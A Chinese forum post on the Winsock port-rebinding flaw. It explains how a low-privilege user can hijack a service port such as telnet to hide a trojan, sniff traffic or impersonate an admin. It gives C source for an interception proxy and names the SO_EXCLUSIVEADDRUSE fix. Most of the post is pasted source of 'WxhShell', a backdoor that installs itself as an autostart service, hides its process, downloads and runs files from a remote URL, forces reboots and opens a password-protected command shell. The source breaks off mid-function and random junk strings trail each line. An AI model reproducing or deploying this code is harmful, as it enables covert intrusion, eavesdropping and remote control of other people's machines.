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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WY/}1X9.%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fl(wV.Je|  
paK2 xX8E  
  saddr.sin_family = AF_INET; l;Wj]  
+2{Lh7Ks  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vQCy\Gi   
l-Z4Mq6*L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "[J^YKoF  
nKY6[|!#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yAt ^;  
YWLj?+  
  这意味着什么?意味着可以进行如下的攻击: <YY14p  
Ytkv!]"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QV!up^Zso  
v+XJ*N[W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HtFDlvdy]  
C_Dn{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h0$iOE  
K-4PI+qQ\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _XBd3JN@  
UNYqft4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5+vaE 2v  
AH^/V}9H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d0D] Q  
&Jj<h: *  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :X=hQ:>P  
+>,I1{u%&  
  #include 7dWS  
  #include 4dlGxat  
  #include  R&&4y 7  
  #include    TH;hO).u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h{Y",7] !  
  int main() # d  
  { s;e\ pt  
  WORD wVersionRequested; aN?zmkPpov  
  DWORD ret; 9;{C IMg&  
  WSADATA wsaData; dd;~K&_Q/i  
  BOOL val; 1zv'.uu.,  
  SOCKADDR_IN saddr; .*oU]N%K=  
  SOCKADDR_IN scaddr; I9Xuok!0>=  
  int err; **%37  
  SOCKET s; jA1 +x:Wq  
  SOCKET sc; FrS]|=LJhX  
  int caddsize; {) XTk &"  
  HANDLE mt; K?;DMUSY\  
  DWORD tid;   C dn J&N{  
  wVersionRequested = MAKEWORD( 2, 2 ); [y(MCf19  
  err = WSAStartup( wVersionRequested, &wsaData ); js(pC@<q5  
  if ( err != 0 ) { d{?LD?,)  
  printf("error!WSAStartup failed!\n"); 6P3*Z  
  return -1; 4?kcv59  
  } @d'j zs  
  saddr.sin_family = AF_INET; /^ts9:  
   E GU2fA7x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D.:Zx  
aE8VZ8tvq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ch]IzdD  
  saddr.sin_port = htons(23); *4'"2"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7CysfBF0g  
  { O.? JmE  
  printf("error!socket failed!\n"); f*Hr^b}`8  
  return -1; YK_ 7ip.a[  
  } |!ELV 7?(  
  val = TRUE; x}4q {P5$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _a, s )  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .-zom~N-?  
  { UQsN'r\tS  
  printf("error!setsockopt failed!\n"); -"x$ZnHU  
  return -1; /vt3>d%B;  
  } 6tZI["\   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KI.unP%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >*bvw~y,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tQVVhXQ7  
]L jf?tk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kh<2BOV  
  { y_)FA"IkE  
  ret=GetLastError(); 4eu O1=  
  printf("error!bind failed!\n"); u8^lB7!e/  
  return -1; 6Wn1{v0  
  } Iu{V,U  
  listen(s,2); i b m4fa  
  while(1) 9c],<;{'  
  { BtZyn7a  
  caddsize = sizeof(scaddr); 'u658Tj  
  //接受连接请求 y_,bu^+*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ri'n  
  if(sc!=INVALID_SOCKET) 4-w{BZuS  
  { lZ0 =;I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `cO:<^%  
  if(mt==NULL) iU-j"&L5  
  { 7)m9"InDI  
  printf("Thread Creat Failed!\n"); bt *k.=p  
  break; ICCc./l|  
  } -Za/p@gM  
  } a*;b^Ze`v  
  CloseHandle(mt); *hrd5na  
  } iso4]>LF  
  closesocket(s); rQXzR  
  WSACleanup(); & kIFcd@  
  return 0; 'qi}|I  
  }   G3]4A&h9v~  
  DWORD WINAPI ClientThread(LPVOID lpParam) RSds8\tk  
  { ?%86/N>  
  SOCKET ss = (SOCKET)lpParam; QJNFA}*>  
  SOCKET sc; z#N@ 0R  
  unsigned char buf[4096]; NA*&#X#~  
  SOCKADDR_IN saddr; s{++w5s  
  long num; g}i61(  
  DWORD val; jpOp.  
  DWORD ret; ax2B ]L2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "b[5]Y{ U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IID5c" oR  
  saddr.sin_family = AF_INET; e )ZUO_Q$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u-TUuP  
  saddr.sin_port = htons(23); 'yth'[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |}1dFp  
  { U.TA^S]`g  
  printf("error!socket failed!\n"); +"(jjxJm  
  return -1; ,[Fb[#Qqb  
  } V]N?6\Op  
  val = 100; JRFtsio*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "L1Zi.)  
  { p'fYULYE  
  ret = GetLastError(); HDKbF/  
  return -1; F?cK- .  
  } -N@|QK>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eQ"E   
  { } %z   
  ret = GetLastError(); S$3JMFA  
  return -1; fh{`Mz,o  
  } U&xUfBDt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7KPwQ?SjT  
  { G`zm@QL  
  printf("error!socket connect failed!\n"); ccnK#fn v  
  closesocket(sc); {[(h[MW#  
  closesocket(ss); s(^mZ -i  
  return -1; .o8t+X'G  
  } Y~Ifj,\  
  while(1) ]~%6JJN7  
  { RyNs6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PX99uWx5]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |'.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BD-AI  
  num = recv(ss,buf,4096,0); vj*%Q(E6Pt  
  if(num>0) .KC ++\{HE  
  send(sc,buf,num,0); o.\oA6P_  
  else if(num==0) 4sM.C9W  
  break; KF/-wZ"1s  
  num = recv(sc,buf,4096,0); B;WCTMy}  
  if(num>0) , dp0;nkr  
  send(ss,buf,num,0); ap~^Ty<>  
  else if(num==0) a: S -  
  break;  p#[.{  
  } T)CP2U  
  closesocket(ss); hEk$d.!}  
  closesocket(sc); b6M  
  return 0 ; &OBkevg  
  } `"~%bS  
KYP!Rs/j.  
}&e5$lB  
========================================================== oE~Bq/p  
1 .X@;  
下边附上一个代码,,WXhSHELL H|D.6^  
EE'!|N3  
========================================================== = f i$}>\  
?rIx/>C9  
#include "stdafx.h" ,(4K4pN  
N [yy M'C  
#include <stdio.h> 0RK!/:'  
#include <string.h> ;GhNKPY  
#include <windows.h> :@)>r9N  
#include <winsock2.h> ? qA]w9x  
#include <winsvc.h> E!#WnSpnK  
#include <urlmon.h> ]tDDq=+v  
_y3Xb`0a  
#pragma comment (lib, "Ws2_32.lib") @R  6@]Dm  
#pragma comment (lib, "urlmon.lib") ^I)N. 5  
PuO&wI]:  
#define MAX_USER   100 // 最大客户端连接数 &M '*6A  
#define BUF_SOCK   200 // sock buffer IMfqiH)  
#define KEY_BUFF   255 // 输入 buffer `KQvJjA6  
eIo7F m  
#define REBOOT     0   // 重启 F/A|(AH'  
#define SHUTDOWN   1   // 关机 ``Un&-Ms  
S+2(f> Z  
#define DEF_PORT   5000 // 监听端口 "Yca%:  
uH-)y,2&  
#define REG_LEN     16   // 注册表键长度 ]d%8k}U  
#define SVC_LEN     80   // NT服务名长度 AvHCO8h|  
I9Fr5p-%O  
// 从dll定义API 6(e>P)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .% OR3"9@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U3:j'Su4H?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ydy9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); orvp*F{7[H  
{u9}bx'<  
// wxhshell配置信息 &=k,?TJO>  
struct WSCFG { KK%M~Y+tU'  
  int ws_port;         // 监听端口 *~H Sy8s  
  char ws_passstr[REG_LEN]; // 口令 2wgg7[tGi  
  int ws_autoins;       // 安装标记, 1=yes 0=no vA.MRu#  
  char ws_regname[REG_LEN]; // 注册表键名 9<)NvU^-r  
  char ws_svcname[REG_LEN]; // 服务名 v]c6R-U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  gRT00  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'XBFv9&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TvQo?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aoa)BNs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /[>sf[X\I9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~F?u)~QZ #  
BI}Cg{^km  
}; - FlzEZ  
<V6VMYXY4  
// default Wxhshell configuration O5t[  
struct WSCFG wscfg={DEF_PORT, :$9tF >  
    "xuhuanlingzhe", E`k@{*Hn&  
    1, PIpi1v*qz  
    "Wxhshell", $"&{aa  
    "Wxhshell", m7>JJX3=<  
            "WxhShell Service", ~**.|%Kc  
    "Wrsky Windows CmdShell Service", E1U",CMU  
    "Please Input Your Password: ", *U\`CXn;  
  1, a+T.^koY  
  "http://www.wrsky.com/wxhshell.exe", D+7Rz_=  
  "Wxhshell.exe" AlW66YAuQ  
    }; Clb@$,  
}k G9!sf  
// 消息定义模块 _Z,\Vw:\F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R#8L\1l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \A6B,|@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e2W".+B1  
char *msg_ws_ext="\n\rExit."; %\Mo-Ow!\  
char *msg_ws_end="\n\rQuit."; DXK}-4"\  
char *msg_ws_boot="\n\rReboot..."; l/ ;  
char *msg_ws_poff="\n\rShutdown..."; 3nnJ8zQ  
char *msg_ws_down="\n\rSave to "; 'D"C4;X  
wtV#l4  
char *msg_ws_err="\n\rErr!"; )sp4Ie  
char *msg_ws_ok="\n\rOK!"; f_Av3  
1"M]3Kl  
char ExeFile[MAX_PATH]; WPG(@zD  
int nUser = 0; zeC RK+-  
HANDLE handles[MAX_USER]; JyOo1E.  
int OsIsNt; P&e\)Z|  
(%W&4a1di  
SERVICE_STATUS       serviceStatus; D^3vr2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; } c }_<#I  
Ev(>z-{F  
// 函数声明 58J}{Req  
int Install(void); TNh1hhJ$b  
int Uninstall(void); BV upDGh3  
int DownloadFile(char *sURL, SOCKET wsh); K8.!_ c  
int Boot(int flag); :| 8M`18lZ  
void HideProc(void); Zt.|oYH$  
int GetOsVer(void); Gc;{\VU  
int Wxhshell(SOCKET wsl); wInh~p  
void TalkWithClient(void *cs); 5m(^W[u `  
int CmdShell(SOCKET sock); 1sdLDw_)p  
int StartFromService(void); ,.1Psz^U  
int StartWxhshell(LPSTR lpCmdLine); in-HUG  
xZwLlY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zSja/yq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A/KJqiag  
ApV~( k)W  
// 数据结构和表定义 \\dM y9M-  
SERVICE_TABLE_ENTRY DispatchTable[] = 2=`o_<P'"  
{ }$Tl ?BRpU  
{wscfg.ws_svcname, NTServiceMain}, `Kr,>sEAM  
{NULL, NULL} EbE-}>7OO  
}; 474SMx$  
c>Xs&_  
// 自我安装 LS*y  
int Install(void) wlk4*4dKn  
{ lqZ5?BD1  
  char svExeFile[MAX_PATH]; F!Q@ u  
  HKEY key; )PuFuf(wz  
  strcpy(svExeFile,ExeFile); ?ztkE62t  
/+;h)3PN6  
// 如果是win9x系统,修改注册表设为自启动 FZ,#0ZYJGP  
if(!OsIsNt) { VAf1" )pC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hB>oJC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LNpup`>`  
  RegCloseKey(key); -pGE]nwDL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7KL v6]b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xudg2t)+K  
  RegCloseKey(key); oxkoA  
  return 0; )~] (&  
    } W!&'pg  
  } '~&X wZ&  
} 2Mmz%S'd  
else { lWc:$qnR-K  
G]i/nB  
// 如果是NT以上系统,安装为系统服务 l6kWQpV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \$\ENQ;Nk  
if (schSCManager!=0) ()+ <)hg}2  
{ @EpIh&  
  SC_HANDLE schService = CreateService bMMh|F  
  ( LBsluT  
  schSCManager, pd7NF-KD  
  wscfg.ws_svcname, -[!P!d=  
  wscfg.ws_svcdisp, VG5+CU  
  SERVICE_ALL_ACCESS, 4K\(xd&Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #Xb+`'  
  SERVICE_AUTO_START, %$ Z7x\_  
  SERVICE_ERROR_NORMAL, %_L\z*+  
  svExeFile, r1L ViK  
  NULL, x`mN U  
  NULL, 'BPp ]R#{  
  NULL, JSW}*HR  
  NULL, i2(1ki/|O  
  NULL ^Z# W_R\l  
  ); <$~mE9a6  
  if (schService!=0) yo )%J  
  { YmgLzGk`  
  CloseServiceHandle(schService); :1^R9yWA4  
  CloseServiceHandle(schSCManager); SNE#0L' }  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (egzH?  
  strcat(svExeFile,wscfg.ws_svcname); #KXa&C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d'$T4yA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g(J&m< I  
  RegCloseKey(key); C{DvD'^  
  return 0; xs:n\N  
    } <-S%kA8  
  } aZ'Lx:)R  
  CloseServiceHandle(schSCManager); @u%_1  
} Kt|1&Gk  
} +H #U~p$  
ux3<l+jv^  
return 1; #x3ujJ  
} 3*)ig@e6  
$K'|0   
// 自我卸载 Ve!fU  
int Uninstall(void) SD$h@p=!=  
{ lBFMwJU)  
  HKEY key; )Ocl=H|=  
xD[Gq%  
if(!OsIsNt) { 5 Ho^N1q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ql?=(b;D  
  RegDeleteValue(key,wscfg.ws_regname); wz.6du6-  
  RegCloseKey(key); sx51X^d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K/=_b<  
  RegDeleteValue(key,wscfg.ws_regname); (B-43!C  
  RegCloseKey(key); ;cz|ss=  
  return 0; cEd+MCN  
  } /<8N\_wh  
} B0!"A  
} ADk8{L{UU  
else { 1YJC{bO  
D"ehWLj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k`p74MWu  
if (schSCManager!=0) e^Ky<*Y  
{ { e5/+W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "0k8IVwp  
  if (schService!=0) g{9+O7q  
  { ^e>Wo7r  
  if(DeleteService(schService)!=0) { `TPOCxM Mo  
  CloseServiceHandle(schService); dVo.Czyd  
  CloseServiceHandle(schSCManager); ~~,rp) )  
  return 0; &gE 75B  
  } 8Bq!4uq\5|  
  CloseServiceHandle(schService); C 2w2252T  
  } -TOIc%  
  CloseServiceHandle(schSCManager); D.6,VY H  
} la?Wnw  
} )Cw`"n  
d/e|'MPX  
return 1; 0W()lQ   
} V@QK  
d4 (/m_HMu  
// 从指定url下载文件 _:B1_rz7,  
int DownloadFile(char *sURL, SOCKET wsh) @M8|(N%  
{ T!}[yW  
  HRESULT hr; 4~OQhiJ   
char seps[]= "/"; KyO8A2'U  
char *token; !!nuAQ"E[  
char *file; /Y2/!mU</  
char myURL[MAX_PATH]; a`u S[r>  
char myFILE[MAX_PATH]; o!r8{L  
}O4se"xK  
strcpy(myURL,sURL); vHE^"l5v  
  token=strtok(myURL,seps); ?`Y\)'}   
  while(token!=NULL) o(Cey7  
  { '2-oh  
    file=token; 6Ik,zQL  
  token=strtok(NULL,seps); l@hjP1o  
  } [|3>MZ2/  
rqlc2m,<-p  
GetCurrentDirectory(MAX_PATH,myFILE); sfVf@0g  
strcat(myFILE, "\\"); `ZaT}# Y  
strcat(myFILE, file); j9/-"dTL  
  send(wsh,myFILE,strlen(myFILE),0); -sMytHH.  
send(wsh,"...",3,0); uGl| pJ\y=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sj(F3wY  
  if(hr==S_OK) Jj^GWZRu  
return 0; X{-9FDW  
else kV Rn`n0  
return 1; $Vv}XMxw  
pNE(n4v  
} ? QDWuPhN  
:;!\vfZbU  
// 系统电源模块 Ut)r&?  
int Boot(int flag) VIR.yh  
{ te4= S  
  HANDLE hToken; i NWC6y  
  TOKEN_PRIVILEGES tkp; H_IGFZCh  
]> Y/r-!  
  if(OsIsNt) { s/1 #DM"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k,Zm GllQ]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i(6J>^I  
    tkp.PrivilegeCount = 1; I}Xg &-L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p&K\]l}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fH8!YQG8$  
if(flag==REBOOT) { ~-F?Mc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! qJI'+_  
  return 0; cub <G!K  
} ;S/7 h6  
else { zSjgx_#U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r FL$QC2  
  return 0; XvSIWs  
} swpnuuC-  
  } w9#R'  
  else { 5`E))?*"Pe  
if(flag==REBOOT) { e"+dTq8W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s([Wn)I  
  return 0; ZcryAm:I  
} |Zq\GA  
else { f8:$G.}i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]i8c\UV\  
  return 0; y>(rZ^y&  
} 8 HoP( +?  
} DPJh5d  
'0+$ m=   
return 1; En9R>A;`  
} +CTmcbyOi  
+|C[-W7Sw  
// win9x进程隐藏模块 "~p+0Xws9  
void HideProc(void) nJVp.*S  
{ sS,#0Qt.  
5iWe-xQ>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Imp $  
  if ( hKernel != NULL ) hswTn`f  
  { [{PqV):p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }#aKFcvg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2X @G"  
    FreeLibrary(hKernel); M@^U 0 ?  
  } K ~>jApZ%  
i;lE5  
return; !O\X+#j  
} w6EI{  
6D9o08  
// 获取操作系统版本 R[ yL _>  
int GetOsVer(void) b]`^KTYK  
{ org*z!;.   
  OSVERSIONINFO winfo; &]3:D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `45d"B I  
  GetVersionEx(&winfo); <"I?jgo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oO:LG%q  
  return 1; $'$>UFR  
  else q 22/_nSC  
  return 0; B+D`\Nlo  
} ~N[|bPRmhE  
!3KPwI,  
// 客户端句柄模块 +(AwSh!  
int Wxhshell(SOCKET wsl) ;Prg'R[o;  
{ 1b `G2?%  
  SOCKET wsh; y#r\b6  
  struct sockaddr_in client; .cw=*<zeg  
  DWORD myID; |E|T%i^}./  
aL$j/SC  
  while(nUser<MAX_USER) /'+4vXc@  
{ kv%)K'fU4  
  int nSize=sizeof(client); <`mOU} 0 )  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o*)@oU  
  if(wsh==INVALID_SOCKET) return 1; Y\>\[*.v  
#wD7 \X-f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X)NWX9^;'  
if(handles[nUser]==0)  . X0t"  
  closesocket(wsh); D JJZJ}7  
else eH `t \n  
  nUser++; | /#'S&!U  
  } s'AQUUrb <  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G,/Gq+WX  
Ei|0L$NCg  
  return 0; `^f}$R|  
} Y(W{Jd+  
"DzG Bu\  
// 关闭 socket *e,CDV  
void CloseIt(SOCKET wsh) ujNt(7Cz  
{ Wb'*lT0=  
closesocket(wsh); /W``LK>;?  
nUser--; gx#J%k,f  
ExitThread(0); 5#BF,-Jv  
} 0c-QIr}m  
_AAx )  
// 客户端请求句柄 eFes+i(35  
void TalkWithClient(void *cs) U!_sh<  
{ |H<|{{E  
}7&\eV{qU  
  SOCKET wsh=(SOCKET)cs; s/\XH&KR3V  
  char pwd[SVC_LEN]; *+&z|Pwv[^  
  char cmd[KEY_BUFF]; SUSc  
char chr[1]; `GP3 D~  
int i,j; dY 6B%V  
h FDze  
  while (nUser < MAX_USER) { \S'cW B  
- =yTAx  
if(wscfg.ws_passstr) { V~JBZ}`TG<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); my=*zziN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0U9+  
  //ZeroMemory(pwd,KEY_BUFF); a{5H33JA  
      i=0; MyK^i2eD  
  while(i<SVC_LEN) { [6oq##  
%~ ;nlDw  
  // 设置超时 {kT#o3,>w6  
  fd_set FdRead; $/MY,:*e  
  struct timeval TimeOut; fdg[{T4:  
  FD_ZERO(&FdRead); !Jh*a *I}  
  FD_SET(wsh,&FdRead); 2f s9JP{^0  
  TimeOut.tv_sec=8; sn2r >m3  
  TimeOut.tv_usec=0; #^"hqNwA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \-DM-NrZ1U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7^`RP e^a+  
aS3P(s L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ks)fQFSbu  
  pwd=chr[0]; /IrKpmbq  
  if(chr[0]==0xd || chr[0]==0xa) { 1{= E ?  
  pwd=0; B'NS&7+].  
  break; wEZqkV  
  } 5R$=^gE  
  i++; Q1]V|S;)X  
    } 2pVVoZV.<  
&3!i@2d;3f  
  // 如果是非法用户,关闭 socket k?!TjBKm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l!xgtP K  
}  pb,{$A  
ddGkk@CA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1uKD&k%q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); clij|?O  
[N'r3  
while(1) { =MQ2sb  
_Y}^%eFw  
  ZeroMemory(cmd,KEY_BUFF); 7{?lEQ&UE  
Pcd i  
      // 自动支持客户端 telnet标准   <FMuWHY  
  j=0; (gs`=H*d;  
  while(j<KEY_BUFF) { @B}&62T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lh8# I&x  
  cmd[j]=chr[0]; #c8"  
  if(chr[0]==0xa || chr[0]==0xd) { 3<V.6'*k  
  cmd[j]=0; q>Dr)x)  
  break; Udb0&Y1^  
  } <v1_F;{n  
  j++; M%nZu{  
    } ee__3>H"/  
7`j|tb-  
  // 下载文件 +btP]?04  
  if(strstr(cmd,"http://")) { N^@%qUvT]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )o}=z\M-bN  
  if(DownloadFile(cmd,wsh)) bCe[nmE2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dja9XWOg  
  else 2/a04qA#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l,~ N~?  
  } "N=&4<]I5  
  else { \, X?K  
i&AXPq>`  
    switch(cmd[0]) { am)J'i,  
  ]VO,} `  
  // 帮助 qrORP3D@  
  case '?': { @i1.5z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3oNt]2w/'  
    break; tL|L"t_5x  
  } Cys/1DkE  
  // 安装 '<U[;H9\  
  case 'i': { f(zuRM^5  
    if(Install()) -qr:c9\px  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :;#c:RKi:  
    else PT= 2LZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hyr5D9d  
    break; jw6ng>9  
    } ZS 7)(j$.  
  // 卸载 J>&dWKM3  
  case 'r': { Av[|.~g  
    if(Uninstall()) (kD?},Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0v,`P4_k  
    else lj%;d'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >goAf`sqo  
    break; %%H. &*i,  
    } Ky{I&}+R|  
  // 显示 wxhshell 所在路径 1tK6lrhj  
  case 'p': { Kk"B501  
    char svExeFile[MAX_PATH]; A?<"^<A^  
    strcpy(svExeFile,"\n\r"); q'U-{~q%  
      strcat(svExeFile,ExeFile); |Z +E(F  
        send(wsh,svExeFile,strlen(svExeFile),0); N'W >pU  
    break; bB[*\  
    } hJL0M!  
  // 重启 R,k[Kh  
  case 'b': { hgMnO J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %PNm7s4x2  
    if(Boot(REBOOT)) *1 eTf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2_E6U"  
    else { %nK 15(  
    closesocket(wsh); s(DaPhL6Qm  
    ExitThread(0); SGT-B.  
    } M}RFFg  
    break; XVK[p=cIL  
    } d3q/mg5a  
  // 关机 d~oWu [F*  
  case 'd': { MyS7AL   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I<o4l[--  
    if(Boot(SHUTDOWN)) )6S}O* 1  
